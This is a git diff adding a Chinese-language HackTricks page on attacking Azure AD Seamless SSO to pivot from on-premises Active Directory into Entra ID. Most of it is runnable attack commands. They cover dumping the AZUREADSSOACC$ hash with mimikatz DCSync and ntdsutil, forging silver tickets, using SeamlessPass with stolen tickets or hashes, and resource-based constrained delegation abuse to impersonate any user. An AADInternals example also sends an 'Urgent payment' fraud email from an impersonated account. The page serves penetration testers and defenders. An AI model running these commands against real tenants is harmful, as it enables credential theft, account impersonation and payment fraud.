mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -0,0 +1,186 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 会在用户使用连接到公司网络的公司设备时自动**登录用户**。启用后,**用户无需输入密码即可登录 Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
基本上,Azure AD Seamless SSO **在用户** **使用加入本地域的 PC 时** **登录用户**。
|
||||
|
||||
它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。
|
||||
|
||||
桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时,Azure AD Connect 会在本地 AD 中创建一个名为 `AZUREADSSOACC$` 的 **计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间以**明文**形式发送到 Entra ID。
|
||||
|
||||
**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**,Entra ID 使用发送的密码解密票证。
|
||||
|
||||
**Entra ID** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com),接受 Kerberos **票证**。加入域的机器的浏览器将票证转发到此端点以实现 SSO。
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> 关于此攻击,主要需要知道的是,仅仅拥有与 Entra ID 同步的用户的 TGT 或特定 TGS 就足以访问云资源。\
|
||||
> 这是因为它是一个允许用户登录云的票证。
|
||||
|
||||
为了获得该 TGS 票证,攻击者需要拥有以下之一:
|
||||
- **被攻陷用户的 TGS:** 如果您在内存中攻陷了一个用户的会话,并获得了 `HTTP/autologon.microsoftazuread-sso.com` 的票证,您可以使用它访问云资源。
|
||||
- **被攻陷用户的 TGT:** 即使您没有一个,但用户被攻陷,您可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
|
||||
- **被攻陷用户的哈希或密码:** SeamlessPass 将使用此信息与域控制器通信以生成 TGT,然后是 TGS。
|
||||
- **金票:** 如果您拥有 KRBTGT 密钥,您可以为被攻击用户创建所需的 TGT。
|
||||
- **AZUREADSSOACC$ 账户哈希或密码:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并在云中进行身份验证(如前面的方法所示)。
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
正如 [这篇博客文章](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 中所解释的,拥有任何先前的要求,使用工具 **SeamlessPass** 作为被攻陷用户或任何用户(如果您拥有 **`AZUREADSSOACC$`** 账户哈希或密码)访问云资源非常简单。
|
||||
|
||||
最后,使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 进行:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
进一步的信息可以在[**这篇博客文章中找到**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。
|
||||
|
||||
### 获取 AZUREADSSOACC$ 账户的哈希值
|
||||
|
||||
用户 **`AZUREADSSOACC$` 的 **密码** 从不改变**。因此,域管理员可以破解该 **账户的哈希值**,然后使用它 **创建银票** 以连接到 Azure,使用 **任何已同步的本地用户**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
|
||||
# Dump using ntdsutil and DSInternals
|
||||
## Dump NTDS.dit
|
||||
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
|
||||
## Extract password
|
||||
Install-Module DSInternals
|
||||
Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
> [!NOTE]
|
||||
> 使用当前的信息,您可以像之前所述的那样使用工具 **SeamlessPass** 来获取域中任何用户的 azure 和 entraid 令牌。
|
||||
> 您还可以使用之前的技术(以及其他技术)来获取您想要冒充的受害者的密码哈希,而不是 `AZUREADSSOACC$` 账户。
|
||||
|
||||
#### 创建银票
|
||||
|
||||
有了哈希,您现在可以 **生成银票**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### 使用 Silver Tickets 与 Firefox
|
||||
|
||||
要利用银票,应执行以下步骤:
|
||||
|
||||
1. **启动浏览器:** 应启动 Mozilla Firefox。
|
||||
2. **配置浏览器:**
|
||||
- 导航到 **`about:config`**。
|
||||
- 将 [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 的首选项设置为指定的 [值](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- 导航到 Firefox `设置` > 搜索 `允许 Windows 单点登录用于 Microsoft、工作和学校帐户` 并启用它。
|
||||
3. **访问 Web 应用程序:**
|
||||
- 访问与组织的 AAD 域集成的 Web 应用程序。一个常见的例子是 [login.microsoftonline.com](https://login.microsoftonline.com/)。
|
||||
4. **身份验证过程:**
|
||||
- 在登录屏幕上,应输入用户名,密码字段留空。
|
||||
- 要继续,请按 TAB 或 ENTER。
|
||||
|
||||
> [!WARNING]
|
||||
> 如果用户启用了 MFA,这 **不会绕过 MFA**。
|
||||
|
||||
### 本地 -> 云通过基于资源的受限委派 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
要执行攻击,需要:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` 权限在 `AZUREADSSOACC$` 上
|
||||
- 一个您控制的计算机帐户(哈希和密码) - 您可以创建一个
|
||||
|
||||
1. 第一步 – 添加您自己的计算机帐户
|
||||
- 创建 `ATTACKBOX$` 并打印其 SID/NTLM 哈希。任何域用户都可以在 MachineAccountQuota > 0 时执行此操作。
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. 第2步 – 在 `AZUREADSSOACC$` 上授予 RBCD - 将您的机器 SID 写入 `msDS-AllowedToActOnBehalfOfOtherIdentity`。
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. 第3步 - 为任何用户(例如:alice)伪造TGS
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
您现在可以使用 **TGS 以被冒充用户的身份访问 Azure 资源。**
|
||||
|
||||
### ~~为仅云用户创建 Kerberos 票证~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
如果 Active Directory 管理员可以访问 Azure AD Connect,他们可以 **为任何云用户设置 SID**。这样,Kerberos **票证** 也可以 **为仅云用户创建**。唯一的要求是 SID 必须是一个合适的 [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> 仅云管理员用户的 SID 现在 **被 Microsoft 阻止**。\
|
||||
> 有关信息,请查看 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user